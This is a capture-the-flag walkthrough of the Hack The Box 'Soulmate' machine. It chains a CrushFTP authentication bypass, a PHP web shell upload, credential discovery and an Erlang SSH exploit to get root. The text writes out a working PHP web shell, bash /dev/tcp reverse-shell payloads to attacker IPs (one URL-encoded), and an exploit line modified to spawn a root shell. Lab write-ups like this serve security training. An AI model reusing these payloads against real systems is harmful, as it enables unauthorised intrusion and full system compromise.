> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-09-13

Hack The Box — Soulmate (Linux)

CrushFTP authentication bypass gives admin panel control, uploaded PHP web shell yields www-data, local credential discovery gives ben, and Erlang SSH CVE-2025-32433 leads to root.

Target

Target IP: 10.129.37.95

Port scan

sudo nmap -sC -sV 10.129.37.95 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add soulmate.htb to /etc/hosts.

Go to http://soulmate.htb/. It is a PHP site.

VHost discovery

gobuster vhost -u 'http://soulmate.htb/' -w /home/kali/wordlists/n0kovo_subdomains_huge.txt -t 50 --append-domain
Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]

Add ftp.soulmate.htb to /etc/hosts. Go to http://ftp.soulmate.htb/.

We are redirected to http://ftp.soulmate.htb/WebInterface/login.html. It is CrushFTP.

Initial access — CrushFTP bypass

There is a vulnerability (CVE-2025-54309) with exploit: https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309

I modified the exploit Python script to add an admin user. See attached script watchTowr-vs-CrushFTP-CVE-2025-54309.py.

Run exploit:

python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://ftp.soulmate.htb

It prints output such as:

[*] Generated new c2f value: 4spk
[*] NEW SESSION: c2f=4spk

Go to CrushFTP and log in with:

  • Username: WATCHTOWRUSER
  • Password: NEWPASSWORD

Go to http://ftp.soulmate.htb/WebInterface/UserManager/index.html.

Click WATCHTOWRUSER. We can see its root directory and folders. Select all folders and drag them into user's stuff. Click save.

Now go to http://ftp.soulmate.htb/. All folders are visible.

In /app/CrushFTP11 there is a non-standard file named passfile.

Inside:

04E2xAXYFfDsEYtu

If we log in to CrushFTP with crushadmin / 04E2xAXYFfDsEYtu, it works.

At http://ftp.soulmate.htb/WebInterface/UserManager/index.html, click crushadmin. As before, select all folders and drag them into user's stuff.

Inside /app there is folder webProd.

Click folder app. On the right, enable the upload checkbox. Click save.

Go to:

http://ftp.soulmate.htb/#/app/webProd/assets/images/profiles/

There is now an add files button. It allows uploading a file.

Create shell.php with content:

<?php system($_GET["cmd"]); ?>

Upload it.

RCE and reverse shell

Go to:

http://soulmate.htb/assets/images/profiles/shell.php?cmd=id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have RCE and can get a reverse shell.

Start listener:

nc -vlnp 4444

Go to:

http://soulmate.htb/assets/images/profiles/shell.php?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E15%2E37%2F4444%200%3E%261%27

Which corresponds to:

bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'

We get a reverse shell as www-data.

Enumeration and user pivot

There is a file /var/www/soulmate.htb/data/soulmate.db.

sqlite3 soulmate.db
.tables
users

select * from users;
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39

Put hash in file hash and try:

./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt

It does not crack.

There is a file /var/www/soulmate.htb/config/config.php. Inside we find:

        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);

        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name)
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
ls -la /home

We notice user ben. Trying SSH as ben with that password does not work.

Download pspy64 (https://github.com/DominicBreuker/pspy) and upload to victim.

./pspy64

We notice:

2025/09/10 21:21:33 CMD: UID=0     PID=1035   | /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
cat /usr/local/lib/erlang_login/start.escript

We see:

{user_passwords, [{"ben", "HouseH0ldings998"}]},
ssh ben@soulmate.htb
# Enter password: HouseH0ldings998

We get a shell as ben.

Privilege escalation (Erlang SSH)

ss -ltpn

We notice port 2222 exposed on 127.0.0.1.

nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

There is a vulnerability (CVE-2025-32433) with exploit: https://github.com/platsecurity/CVE-2025-32433

Download PoC: https://github.com/platsecurity/CVE-2025-32433/blob/main/CVE-2025-32433.py

vim CVE-2025-32433.py

Modify the command to get reverse shell. In Erlang we can use os:cmd.

Original:

        chan_req = build_channel_request(
            command='file:write_file("/lab.txt", <<"pwned">>).'
        )

Modify to:

        chan_req = build_channel_request(
            command='os:cmd("bash -c \'bash -i >& /dev/tcp/10.10.14.210/4444 0>&1\'").'
        )

Upload the Python script to victim.

On attacker machine, start listener:

nc -vlnp 4444

On victim machine, run:

python3 CVE-2025-32433.py

We get a reverse shell as root.